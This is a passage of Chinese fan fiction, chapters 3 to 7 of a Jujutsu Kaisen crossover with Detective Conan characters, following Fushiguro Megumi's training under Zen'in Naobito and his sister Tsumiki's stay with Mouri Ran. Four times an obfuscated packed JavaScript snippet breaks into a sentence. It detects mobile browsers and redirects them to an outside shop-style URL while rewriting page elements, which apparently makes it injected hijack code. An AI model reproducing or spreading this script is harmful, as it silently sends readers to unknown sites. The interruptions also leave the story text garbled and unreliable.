《禅院家主想改姓》 3. 第 3 章 门外的管家适时给两人指出伏黑惠的房间所在,恭恭敬敬地说:“惠少爷有什么需要的东西,我会另外再行添置。” 伏黑惠还没来得及说话,就被禅院真希拉走了:“拒绝之前你还是自己先看看得好。” 伏黑惠站在自己的房间里,终于明白禅院真希说的话是什么意思了。 房间中的装饰过于古朴,并不简陋,但是没有一点儿现代气息。站在这样的房间里,伏黑惠甚至产生了这里有没有信号的疑惑。 他拿出手机看了看。 “信号还是有的,不过可能会被结界影响,网速不太好。”禅院真希说,“禅院家可没有你看上去的那么好。” “我知道。”伏黑惠抿了抿嘴角,说道,“五条先生说起过,禅院家里只有禅院直毘人先生还……能沟通。” 其实五条悟当时说的是:“禅院家也就直毘人那个老头还能说人话,不过有个小辈还挺有志气的。” “悟那家伙说的已经算好听了。”禅院真希沉默了片刻。她看着窗外漏进来的阳光,严肃地说:“我是在这个烂到极点的地方长大的,没人比我更清楚这里有多差劲。” “我听说过禅院甚尔的事。”她停顿了一下,神色中有点伏黑惠从没想过的敬佩,“他当初能脱离禅院家一定费了很多功夫。” 伏黑惠问:“你也想脱离禅院家吗?” “不,我要成为禅院家主,把这些看不起我的咒术师都踩在脚下。”禅院真希说,“不过没有悟的支持肯定没戏。”她看着伏黑惠说,“你有悟的青睐,又是「十种影法术」,那老头肯定早就想把你弄回来了。” “抱歉,我不是……”伏黑惠坐立不安地说,他并没有来跟禅院真希争位置的意思。 “没怪你,我只是告诉你这摊浑水有多臭。”禅院真希认真地说,“你不想做禅院家的人,甚至不是咒术师,为了跟总监会较劲把自己赔进去没必要,我们会想办法救出悟的。” 伏黑惠看着禅院真希,问出的却是跟话题无关的问题:“我今天在东京看到了很多咒灵,可以告诉我昨晚究竟发生了什么事吗?” “他们连这个都没说吗?!”禅院真希对禅院家的鄙视之情溢于言表。 伏黑惠接下来听禅院真希讲述了涉谷事变和死灭洄游。他问:“除了你们之外的咒术师不管吗?” 禅院真希说:“死灭洄游里会有一些咒术师,我们也在找人帮忙。” 伏黑惠问:“总监会没有这方面的命令吗?” 禅院真希嫌恶地说:“那群混蛋只顾着针对悟了,现在还没有章程呢!” 伏黑惠点了点头,说:“我想留下来。” 禅院真希皱起眉头:“喂,你……” “我知道自己不可能拯救所有人,但是……”伏黑惠脑海中浮现出伏黑津美纪的身影,“我想拯救善良的人,那些值得被拯救,不应该被咒灵随便杀死的人。” “我没有经历过咒术训练,也没有单独袚除过咒灵,我的能力对你们没有帮助。”伏黑惠条理分明地说,“但我留在这里,这个身份应该还能做一些别的事。” 既然他能够改变总监会的一个决定,那应该也可以改变更多。 禅院真希怀疑地看着他,叹息道:“你真的是悟养大的?” 伏黑惠轻描淡写地说:“五条先生在我六岁那年资助了我。” “行吧!既然你不愿意,我也不能把你强行绑走。”禅院真希痛快地说,“不用担心,我们不会把你一个人扔在这里。悟有没有说过,他有个很强的学生,叫乙骨忧太的。” 伏黑惠想了想:“五条先生提起过‘忧太’,虽然不知道姓氏,但应该没错。” 当时五条悟忿忿地坐在家里的榻榻米上,跟他吐槽:“那群烂橘子就知道死刑!好好一个孩子,如果能控制住咒灵会是很强的咒术师,就不懂得什么叫做网开一面和特事特办吗?!” 后来他又听五条悟感慨:“爱是最扭曲的诅咒。”然后他话锋一转,“如果有一天惠恋爱了一定要第一时间告诉我啊!” 当时只有国三的伏黑惠无奈地看着他:“请您放心,我还没有谈恋爱的打算。” 五条悟一惊一乍地说:“为什么?校园时期的恋爱体验也是青春的一部分啊!” 伏黑惠使出一击必杀:“五条先生有过校园恋爱吗?” 五条悟:…… “没有。”他心不甘情不愿地回答,“但那是因为学校的人太少了!我是很受欢迎的!” “嗯,我相信您。”彼时的伏黑惠十分敷衍地说,“如果我有了喜欢的人会告诉您的。” 五条悟开心地建议道:“嗯嗯,惠找恋人对象的时候可要擦亮眼睛,最好是比你强的,这样就不会跟忧太遇到一样的事啦!” 伏黑惠对‘忧太’的印象就是实力很强,但恋情坎坷的一个学生。 “就是他没错,咒术师人很少,一般不会遇到同名的情况。”禅院真希说,“总之,过段时间,忧太会来看你。那个时候,你要是忍受不了禅院家的腐朽气息了就告诉他,他会带你走。” 伏黑惠习惯性拒绝道:“你们不需要顾及到我……” “放心,忧太很强。”这次轮到禅院真希打断伏黑惠的话了,“我们本来打算今天就抢走你,不过你要是想留下的话……那个老头亲自教导你,对实力增强应该挺有用的,你多学学也好。” 伏黑惠点了点头:“谢谢你们,真希……前辈。” “对,这么叫,别叫我姑姑,也别称呼我‘禅院’。”禅院真希满意地说,“家入老师说,她已经和你姐姐联系上了,让你别担心。” “麻烦代我谢谢家入小姐。”伏黑惠真正松了一口气。 禅院真希看到他的神色,感同身受地说:“我也有个妹妹,叫真依。” 她好像本来想说点什么,但最后还是什么都没说。 因为有个不速之客从外面敲响了房门,金发的咒术师脸上带着让人厌恶的表情,问伏黑惠:“你就是甚尔的儿子?” 被无视的禅院真希对伏黑惠说:“这是老头的儿子禅院直哉,这就是在禅院家里长大会有的样子。” “你这个废物也在啊!”禅院直哉把目光挪到禅院真希布满烧伤的身体上,嘲讽道,“连脸这个唯一的优点都没了,你以后可怎么办啊?!” 伏黑惠为他的话皱了皱眉。 “你那是什么眼神?”禅院直哉不满地说,“没有一点甚尔的样子。” 伏黑惠完全不在意,冷漠地说:“我一点儿也不想像他。” “啧!外面来的就是没规矩!”禅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991254|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院直哉不屑地看着他们,“记住,禅院家的未来家主一定是我!” 说完之后,他没有等任何人的反应,直接扬长而去。 禅院真希习以为常地转头看向伏黑惠,调侃道:“什么感觉?现在后悔还来得及。” 伏黑惠实话实说:“感觉他像是动漫里的中二炮灰。” “哈哈哈哈!”禅院真希哈哈大笑,“放心,他在老头的院子里不敢做什么,但你既然决定留下,就得快点强大起来。” “我会努力的。”伏黑惠送走了禅院真希,在自己被分配到的房间里逛了逛,跟管家说了需要补充的物品后才算是真正能坐下来休息。 窗外的阳光已经从金色变成了银色的月光。伏黑惠换上了禅院家提供的睡衣,坐在榻榻米上,仰头看着窗外的月亮。 白色的「玉犬」从影子里钻出来,被伏黑惠搂在怀里,一人一狗一起坐在月光下。 伏黑惠不在乎自己,他只担心津美纪。 他虽然不是咒术师,但现在在禅院家里,那位禅院先生也说了明天开始就要训练他。 但津美纪看不到咒灵,要是她遇到了咒灵怎么办?政府的安置点真的靠谱吗? 真希前辈说千代田区的结界是「天元」的杰作,但也说「天元」同样是被羂索盯上的猎物,所以津美纪还是可能遇到危险。 如果五条先生在的话…… 伏黑惠的思绪断开了。他提醒自己,五条先生已经被封印了,暂时不会出现了。 他得自己变强才行。 伏黑惠看着自己的双手。他不想做咒术师,也不想跟咒术界扯上关系,五条先生一直很纵容他的想法,教他咒术的时候也是以自保为主。 那些教学过程,与其说在学,不如说是在带着他一起玩。 伏黑惠对自己的实力毫无自信。他知道如果没有利用价值,禅院直毘人不会继续帮他。 他想要让禅院先生为他说话,就得展现出自己的实力。 「玉犬」看着烦恼的伏黑惠,摇着尾巴蹭了蹭他。伏黑惠抚摸着「玉犬」的后背,认真地说:“明天我们要一起努力了。” “汪汪!”白色「玉犬」叫了两声,表达自己对主人的鼓舞。 伏黑惠露出今天第一个微笑:“乖狗狗!” 他看了看时间,将放在津美纪身边的「玉犬·黑」召唤回来。 等他睡着之后,式神就会随着他的意识消失而消散,他想要得知津美纪的情况只能现在把式神召唤回来。 「玉犬·黑」从伏黑惠的影子里钻出来,喉咙里发出“咕噜咕噜”的响声。 伏黑惠和「玉犬·黑」额头相抵,片刻后,他露出安心的笑容:“津美纪安全了就好。” ——最起码现在津美纪是安全的。 津美纪看不见式神,无法跟式神沟通,「玉犬·黑」只能单方面给伏黑惠传达消息。 伏黑惠也不知道禅院家安不安全,只能通过邮件给她报了个平安,让她跟遇到的同学一起行动,不用担心他。 津美纪收到伏黑惠的消息后才松了口气。她回复了消息,看向一直陪伴在自己身边的同学,不好意思地说:“谢谢你一直安慰我,小兰。” 毛利兰朝她露出一个温柔的笑容:“不用谢,津美纪,你弟弟没事就好。” 4. 第 4 章 跟毛利兰相遇对于伏黑津美纪来说是一个意外。 她来到安置点的第一件事就是给家入硝子打电话。打完电话后,津美纪稍稍放心,一边牵挂着伏黑惠,一边跟着队伍在登记点登记。 因为警视厅就在千代田区,一大早不管是哪个台的新闻都在号召还活着的东京居民去警视厅登记,虽然一共也不剩下几个人了。 对于其他区的居民来说,很可能会在来千代田区的路上就遭遇不测,但待在家里同样可以遭遇咒灵。在看不见敌人的情况下,待在哪里都一样,只能赌运气了。 几乎所有人都在一夜之间失去了亲人、友人、爱人,魂不守舍的津美纪在队伍中并不突兀。 但作为志愿者的毛利兰一眼认出了自己的朋友:“津美纪!” “兰?”伏黑津美纪回过神来,看到毛利兰也很开心,“你也来了!” “我就住在这附近啊!”毛利兰见到熟人也很开心,太多同学在一夜之间失去性命,现在没见到一个活着的人就很欣慰了。 但是,毛利兰欲言又止地看着伏黑津美纪。她听说过津美纪跟弟弟相依为命,也在放学的时候见到过在校门口等着的那个身型瘦高的学弟。 ——现在这里只有津美纪一个人。 毛利兰小心翼翼地避开津美纪的伤心之处:“津美纪,你在这里登记之后,会有人给不住在千代田区的人安排住处,你愿意住在我家吗?” 津美纪愣了一下:“不麻烦你的话,我很乐意,但是你家里还有位置吗?不要勉强啊!” 毛利兰松了口气,用力点点头表示自己一点儿都不勉强:“柯南君前些日子搬走了,津美纪你可以跟我一起住。” 她有点庆幸地说:“幸好柯南君跟着爸爸妈妈一起回美国了。” “是啊,真好!”津美纪眉眼弯弯,真心实意为了那个男孩提前离开感到高兴。 毛利兰却很是懊恼,她不该在津美纪面前这么说的。她慌忙转移话题道:“那我们先去登记吧,津美纪?” 愿意主动接纳别的居民进入自己家居住的千代田区居民是可以自行选择入住的人选的,也不用在这里排队等着登记分配了。 伏黑津美纪点了点头:“好,麻烦你了,小兰。” “一点儿都不麻烦!”毛利兰松了口气,带着伏黑津美纪去找自己熟悉的警官先生登记,“佐藤警官。” “小兰,是你啊!”佐藤美和子看到毛利兰,稍稍松了口气,抽空喝了口水,“抱歉,你是想要登记吗?” 这一晚上,警视厅也损失惨重,不是所有警官都住在千代田区的。 警视厅的所有人半夜收到紧急召唤,一直到现在忙得四脚朝天。 “佐藤警官辛苦了。”毛利兰说,“这是要住在我家里的伏黑津美纪。” “您好。”伏黑津美纪微微鞠躬。 佐藤警官打起精神,问:“伏黑小姐,您带证件了吗?” “我带了。”伏黑津美纪连忙从行李找出自己的证件,递给佐藤美和子。 佐藤警官看到她整齐的行李,意外地说:“伏黑小姐准备得很齐全啊!” 伏黑津美纪捋了捋耳边的碎发,不好意思地说:“都是我弟弟的功劳。” 佐藤警官边登记边问:“令弟也要住在毛利侦探事务所吗?如果是的话,他本人最好也过来一下。” 毛利兰脸色一变,想要拦住佐藤警官已经晚了。 “不用,我弟弟已经有地方住了。”伏黑津美纪有点释然地说。 她在安全区里走了一路,已经稍微改变了想法,也许惠被那个家里接走会生活得比在这里好一些。 最起码,那个禅院家里都是咒术师,惠待在那里,应该比这里安全吧。 毛利兰看向津美纪,困惑地说:“津美纪,你弟弟伏黑君……他为什么没有跟你一起来呢?” “惠只是……暂时不在我身边。”伏黑津美纪故作轻松地说,“他很安全,我们在安置点门口才分开的。” 她不知道官方对咒术师的态度,不敢贸然开口,只能含混过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001240|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛利兰大大地松了口气:“那太好了!不过现在外面很危险,要是津美纪能联系到惠君的话,还是让对方早点回来吧!” “嗯。”伏黑津美纪点了点头,握紧了手机。 两个人离开登记处的时候,遇到了正跟一位金发警官说话的工藤新一。 “新一!”毛利兰跟工藤新一挥了挥手。 “兰。”工藤新一看到伏黑津美纪,礼貌地颔首示意,“伏黑。” “工藤。”伏黑津美纪也跟这位请假快一年,回来之后变得格外沉稳的同学打了个招呼。 毛利兰说:“津美纪会住在我家。” 工藤新一点点头,示意知道了。他温和地叮嘱道:“兰,你今天自己回去吧,我在警视厅还有点事。” 毛利兰担忧地看着他:“那你什么时候回家?” 工藤新一说:“我也说不准,你有事可以去我家找我爸妈或者赤井先生帮忙。” 工藤新一家里接待了姓赤井的一家人,据说是工藤夫妇在美国的朋友,原本是来旅游的,结果被困在这里了。 跟工藤新一分别后,毛利兰给伏黑津美纪介绍,似乎是想让她安心:“赤井先生是很厉害的FBI。” 伏黑津美纪微笑了一下。FBI又不是咒术师,在这个时候真的有用吗? 她带着行李住进了毛利兰家里。毛利兰的父亲,身为名侦探也是辞职刑警的毛利小五郎已经重新回到了警视厅,补上警察的空缺,现在事务所里只有毛利兰一个人。 伏黑津美纪在睡觉前收到了伏黑惠报平安的邮件,终于放下了心。 毛利兰也为朋友感到很高兴:“所以津美纪的弟弟要待在那个禅院家里,不过来了吗?” “嗯。”津美纪抚摸着手机屏幕,隐藏起自己的担忧,“那里很安全,没问题的。” 毛利侦探事务所对面的天台上,一个身材健硕的成年男人站在天台边缘,透过窗户看向房间的少女。 天台的风吹起他的短发,露出一张和伏黑惠八分相似的脸。 5. 第 5 章 第二天,伏黑惠早早醒来,看着跟家里完全不同的天花板发了一会儿呆。 清醒过来后,他从榻榻米上起身,看着管家送来的和服,研究了一会儿穿到身上。 宽袍大袖的衣服让伏黑惠十分别扭地吃完了早餐。 “惠,起得很早啊!”禅院直毘人站在院子里,冬日的寒风似乎没给他带来任何影响,和服大敞,露出健硕的胸肌, 伏黑惠礼貌地打了个招呼:“禅院先生,早安。” “唔……”禅院直毘人盯着伏黑惠看了一会儿。 伏黑惠头上冒出几个问号。 “真是意想不到……”禅院直毘人若有所思地摸着胡子,“你母亲真是个神奇的女人。” 昨天看伏黑惠跟甚尔那小混蛋长得这么像,还以为要废好一番功夫,没想到居然是个乖孩子。 伏黑惠微微一愣:“您认识我母亲?” “不认识。”禅院直毘人干脆地说,“甚尔跟她在一起的时候已经叛离家族了,再联系我的时候就是跟我说他儿子有天赋,问我肯给多少钱。” 伏黑惠头上的问号更多了:这是什么买卖人口的交流? 禅院直毘人不以为意地说:“他大概是自己懒得养你,就准备把你扔给我。咒术师在家里的待遇还不错。” 他揪了揪胡子:“可惜后来被五条家的小子截胡了。” 伏黑惠纠正道:“是我自己选择了五条老师。” 禅院直毘人好笑地问:“你那时候都没来过禅院家,这算什么选择?” 伏黑惠说:“因为在禅院家,津美纪无法得到幸福。” 当时的伏黑惠不知道禅院家是什么,他选择相信了五条悟,事实证明他的选择是正确的。 禅院直毘人露出了疑惑的表情:“那是谁?” 伏黑惠想:果然是正确的。 禅院直毘人也不介意伏黑惠的沉默,继续问:“你昨天见到直哉了?有什么感觉?” 伏黑惠欲言又止,努力不露出嫌弃的表情。 禅院直毘人哈哈大笑:“直哉的性子的确不好,但他很强。你看不惯他就打败他,让他不敢对你放肆!” “无所谓。”伏黑惠说,“禅院家主是谁都可以,我留在这里只是因为想救五条先生。” 禅院直毘人慢悠悠地说:“现在的禅院家主是我,所以你达到我的要求,我才会在衡量禅院家的利益后为五条悟说话。但如果你成为禅院家主,你就可以带着整个禅院家站在五条悟那边。” 伏黑惠微微皱眉,冷淡又理智地说:“五条先生不需要。” 那家伙最喜欢说的话就是让伏黑惠多为自己着想,要是让他知道在他封印的时候,伏黑惠把自己的未来卖掉了肯定会生气。 禅院直毘人看着伏黑惠,问:“你知道五条悟的目标是什么吗?” 伏黑惠困惑地看着他,怀疑地问:“他会告诉您?” “我们的关系没好到那个程度,不过他做得太明显了。”禅院直毘人说,“他想要改变高层,想要把自己的理念散布到整个咒术界。” 伏黑惠露出了然的神情,一针见血地说:“所以高层害怕了?” 禅院直毘人眼睛微微一亮,露出捡到宝了的表情:“对,没错,高层害怕了,他们不敢碰五条悟,所以想尽办法打压他身边的人。” 他仔细解释道:“御三家的势力在总监会此消彼长,为了消减五条家的势力,高层会拉拢加茂家和禅院家。” 伏黑惠问:“您是想告诉我,禅院家在总监会的势力比五条家大吗?” 禅院直毘人一脸‘孺子可教’的表情,理所当然地说:“因为禅院家和五条家是死对头。” 伏黑惠疑惑地问:“两家关系不好吗?” 禅院直毘人意外揪疼了自己的胡子:“五条悟还真是什么都没告诉你啊!” 伏黑惠态度自然地说:“因为我不想做咒术师。” 禅院直毘人吸了口气,纠结地看着伏黑惠。他还真没见过这样的类型。 果然是五条悟养大的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011806|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是另一种层面的难搞啊! “那还以前,现在你不想也不行了。”禅院直毘人循循善诱地说,“你成为禅院家主后,五条悟在总监会的势力会形成压倒性的优势。那些人想要打压他也不行了。” 伏黑惠不认为这是个问题。他直言不讳:“五条先生在的时候,他们不敢这么做。等五条先生回来,他们依旧不敢。” 他感觉禅院直毘人现在很像是学校里跟学生说等上了大学功课就会变得轻松的老师们——俗称,画饼。 “啧!”禅院直毘人遗憾地看着伏黑惠,还挺不好骗的。他言归正传:“你吃过早饭了?” 伏黑惠点点头:“管家帮忙拿过来了。” “嗯,以后你要是想要自己去吃就自己去食堂。要是不想被围观的话,就还是在院子里吃吧。”禅院直毘人说,“走,该去训练了。” 伏黑惠跟在禅院直毘人身后,七拐八拐,走马观花地记下去训练室的路线。 他们一路遇到了很多人,是个人路过的时候都要多看伏黑惠一眼,好像他是什么新开辟的景点。 禅院直毘人没有给他们互相介绍的意思,都是点点头就交错而过。 伏黑惠也不问。他不想成为禅院家主,留在禅院家唯一的目标就是完成与禅院直毘人的约定。他留下,对方会帮忙改变总监会的决定。 只要五条先生从「狱门疆」里出来,他就可以离开了。 伏黑惠走过禅院家的游廊,看着古朴的庭院。禅院直毘人介绍了,五条家和禅院家的宅院差不多。 很难想象五条悟是在这样的环境里长大的。伏黑惠想,怪不得五条先生过节的时候不愿意回家,每次必须回五条家的时候都磨磨蹭蹭的,眼神像被姐弟两个抛弃的猫咪。 回想起五条悟的伏黑惠眼中带上了一抹笑意,阳光落在那双翠绿色的眼睛里,金光点点,映出透亮的新绿。 禅院直毘人推开训练室的门,走到房间中央,气定神闲地对伏黑惠说:“来,让我看看你现在的实力。” 6. 第 6 章 伏黑惠站在训练室里,看着对面的禅院直毘人,谨慎地先召唤出了「玉犬」。 两只「玉犬」从他的影子里钻出来,仿佛跟主人心意相通,伏低身子摆出了进攻的姿势,虎视眈眈地注视着禅院直毘人。 然后一人两狗就被禅院直毘人撂倒了很多、很多、很多次。 禅院直毘人恨铁不成钢:“战斗经验太匮乏了,五条悟是怎么教你的?!” 伏黑惠气喘吁吁地坐在地板上,抹掉脸上的鲜血:“五条先生没有教过我战斗。” “什么?!”禅院直毘人愕然地看着他。 伏黑惠想了想,补充道:“跟人打架不算。” “跟人打架?”禅院直毘人也发现伏黑惠的体术技巧还可以,但是,“作为式神使,你应该跟你的式神协同作战!” 伏黑惠心疼地摸了摸「玉犬」被伤到的地方。 禅院直毘人眼睁睁地看着两只「玉犬」像是普通宠物狗一样朝着伏黑惠摇尾巴,还蹭手心,还吐舌头,老人家险些一口气没上来。 禅院直毘人苦恼地揪了揪胡子,说:“「十种影法术」中,式神死亡之后,力量会转移到其他式神身上,使其他式神的实力得到增强,是一种比较简单便捷的变强方法。” 伏黑惠警惕地把「玉犬」收回了影子里,睁大了眼睛盯着禅院直毘人。 禅院直毘人很有压迫感地朝着他慢慢走进:“现在我想做什么,你根本无法阻拦我。” 他在伏黑惠面前站定,居高临下地说:“只有你自己变得更强,才能保护你想要保护的。” 伏黑惠沉默了片刻,起身鞠了一躬:“多谢指教。” “去休息吧。”禅院直毘人欣慰地看出伏黑惠是真的把他的话听进去了,“我会把记录着「十种影法术」的典籍给你。以后每天上午对练,下午研学,你越早掌握术式,就能越早出去。” 伏黑惠眼睛一亮:“我可以离开?” “在你有自保能力之后。”禅院直毘人说,“我会让人给你进行咒术评级,只有二级咒术师才能单独执行任务。” 伏黑惠问:“如果我不回来了呢?” 禅院直毘人自信地摸了摸胡子:“那你是能打败我之后的事情了。” “我明白了。”伏黑惠深吸一口气,认真地说,“我会努力达成目标的。” 禅院直毘人谨慎地问:“五条悟教过你袚除咒灵吗?” 他原本以为这是不需要问的问题,但现在看来还是得问,五条悟养孩子的方式真是不拘一格——他在「十种影法术」没入学的时候就该意识到,而不是下意识认为对方进行家庭教学了。 伏黑惠迟疑了一会儿,摇了摇头:“……没有。” 五条先生看到咒灵一般是随手打发掉,偶尔看到感觉有趣的才会跟伏黑惠说:“惠,我今天遇到了一个咒灵,它的能力blablabla……” ——就跟家长上班回来会跟家里的孩子说工作中遇到的事一样。 伏黑惠一般会听一耳朵,大部分都是当成故事听。嗯,现代都市玄幻类型。虽然他喜欢严肃的现实文学,但偶尔听听爽文小故事也挺有意思。 五条悟的用词稀奇古怪,但伏黑惠不是咒术界的人不会认为他的形容有问题,于是全盘接受了某人如同童话故事改编的咒术讲解。 有时候伏黑惠也会遇到咒灵,毕竟咒灵最多的地方无非是医院、学校、公司…… 伏黑惠不想做咒术师,但并不排斥袚除咒灵。尤其是在学校里看到咒灵的时候,为了防止咒灵伤害到津美纪,那肯定是要袚除的。 如果出去逛街,在路上看到咒灵,有空的话,他也会袚除,主打就是随缘。 五条悟跟伏黑惠约定过。 伏黑惠不是咒术师,如果他要袚除咒灵需要提前跟五条悟报备。 具体操作是伏黑惠看到咒灵之后,一个电话给五条悟打过去,并且开启话题:“五条先生,我这里有个咒灵,我想袚除它。” 五条悟就会:“哦哦哦,好,惠不要挂断电话,有事及时叫我。五条先生会‘嗖’地一下过去把欺负小惠的咒灵干掉的。” 伏黑惠会把开着通话的手机放进衣服口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018861|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋里,然后开始袚除咒灵。 五条悟会通过手机话筒传过来的声音决定要不要过去助自家小孩一臂之力。 大部分时间不用,伏黑惠对自己的能力估算很准。有时候五条悟那边忙完了也会提前过来给伏黑惠打call,等咒灵被解决,带着小孩一起回家吃饭。 偶尔也有遇到过能力比较奇怪的咒灵,五条悟就会飞快赶到,暴打咒灵,拿咒灵当教具给小孩玩——充分体现出什么叫打了小的来大的。 禅院直毘人听完一个温馨家庭小故事,眼前一黑。 首先,这是五条悟还是召唤兽?!这届‘十影’除了能在战斗中召唤式神,还能在战斗中召唤‘六眼’?! 其次,谁家这么养孩子?宠成这样,好好的天赋都浪费了! 最后,禅院直毘人心累地表示:“那我们就从最基础的地方开始学……” 他都多少年没亲自教养过孩子了……原本以为伏黑惠应该什么都知道,只是不想做咒术师,因为没有战斗经验导致战斗能力稍差,现在看来还有可能是他什么都不知道。 ——后来禅院直毘人发现,伏黑惠两种都不属于。他是你以为他知道的他不知道,你以为他不知道他又知道了。 禅院直毘人挠头挠得发际线都后退了:所以五条悟到底教了什么?! 伏黑惠很茫然很认真地表示:“五条先生没有教我咒术师的事情,他很尊重我的选择。” 禅院直毘人看着刚被袚除的二级咒灵,默默地深吸了一口气。 他早该想到的,在伏黑惠提到他会‘独自’袚除咒灵的时候就该想到的,当时他的注意力全被五条悟奇怪的养孩子方式引走了就没细想。 禅院直毘人问:“为什么你跟我对战的时候对于使用式神很生疏,但袚除咒灵的时候就很习惯了?” 第一天的对战导致他完全误判了伏黑惠的水准,应该已经有二级了。 ——都二级了五条悟你还要监管袚除咒灵的过程是不是有病?! 伏黑惠不解地问:“我为什么要在跟人类打架的时候用式神?” 7. 第 7 章 好问题。禅院直毘人一时之间居然不知道该怎么回答。 因为你是咒术师啊!咒术师跟人打架难不成全靠肉搏吗?! 禅院直毘人一脸高深莫测地站在原地摸胡子:“等将来你遇到诅咒师就知道了。” 说完之后,禅院直毘人忍不住好奇地问:“那你跟五条悟打架的时候不用式神吗?” 伏黑惠莫名其妙地说:“五条先生只会指点我体术。”跟式神有什么关系? 五条悟只会在伏黑惠召唤「玉犬」、「脱兔」的时候陪他一起撸狗撸兔子,还开玩笑说伏黑惠是迪士尼公主,然后被小孩愤怒地用「脱兔」砸一脸。 伏黑惠的唇角翘起一个微小的弧度。 阳光落在他的发尖上,点缀上金灿灿的温暖。他伸手,抚摸着刚刚把咒灵大卸八块的「玉犬」。 两只大狗狗喉咙里发出‘呼噜呼噜’地撒娇声,朝着主人露出肚皮。 禅院直毘人看着两只像宠物一样的式神,满脸凌乱,不由得扪心发问:“那之前五条悟是怎么教你用式神袚除咒灵的?” “五条先生没教过我。”伏黑惠还沉浸在回忆里,漫不经心地回答,“是我有时候看到学校里咒灵就会袚除。” 津美纪也在学校里,不把咒灵袚除,万一她受伤怎么办? 禅院直毘人眼睛一亮,原来是自学成才,真是天赋异禀!他的语气顿时好了很多:“之前给你的典籍看得怎么样了?” 伏黑惠实话实说:“我看完了,有些地方不太理解。” 尤其是书里面一些咒术的术语之类的,伏黑惠都看不明白,查也查不到,只能联系上下文猜一猜意思。 他原本以为五条悟那种充满着天马行空的表达方式已经够不好理解了,现在看来五条先生在咒术界的确是个好老师。 “那就对了。”禅院直毘人毫不意外地说,“有什么不懂的地方可以来问我。” 伏黑惠下意识拒绝道:“不用了,我自己可以。” 禅院直毘人不客气地说:“让你住在我这里就是为了你可以少走弯路,着急出去的人不是你吗?” 伏黑惠迟疑了一下,不愿意麻烦别人的本性和想要尽快去见津美纪的愿望发生了冲突,后者几乎是不费吹灰之力地占据了上风。 “谢谢您。”伏黑惠跟禅院直毘人道谢。 “嘶!”禅院直毘人愣了一下,探究的目光看着伏黑惠,嘴里嘟嘟囔囔地走了,“难道换个姓氏就这么有用吗?” 他们家的人都倔强得要命,居然还能出现这么有礼貌的变种。 伏黑惠坐在训练室的地板上,手里抱着两只「玉犬」,把脸埋进式神柔软的背毛里。 原本深藏着的疲惫终于显现出来。伏黑惠放空了思绪,看着窗外的夕阳。 很累。 每天白天训练,晚上研究那些好似不知所谓的书真的很累。 跟以前不一样,现在虽然每天的时间都被占满,生活看似充实,但伏黑惠总觉得心里是空的。 有时候他坐在房间里,面前摆着那本仿佛碰一下都会碎掉的古书,会想他的做法真的有意义吗? 跟五条先生相熟的咒术师已经说了不需要他帮忙,但他还是想贡献自己的一份力量,哪怕能早一点、一点点把五条先生救出来都好。 「玉犬」回到了伏黑惠的影子里,咒术师仿佛终于又有了力量起身,朝着自己的房间走去。 曲折幽深的回廊两侧种植着高大的树木,红色、橙色、金色的树叶层层叠叠,偶尔随风从树梢落下,铺在地面上,落进池塘里。 引入庭院中的细小溪流发出潺潺流水声,托着一艘艘金红色的小船,顺流而下,如同一封封思念的信笺。 伏黑惠缓缓行动着,没有在意身上的伤随着走动隐隐作痛。他看着禅院家的一草一木,脑海中想的是五条家的样子。 他没有去过五条家,只能根据禅院直毘人说禅院家和五条家的风格相似来想象五条家的样子。 五条先生在五条家的时候也会坐在回廊下赏红叶吗?也会在溪水旁烤棉花糖和年糕吗?也会躺在树下感受被落叶埋起来的乐趣吗? 应该不会吧。伏黑惠回想起五条悟曾经的抱怨,那个人在五条家里大抵是没那么自由的。

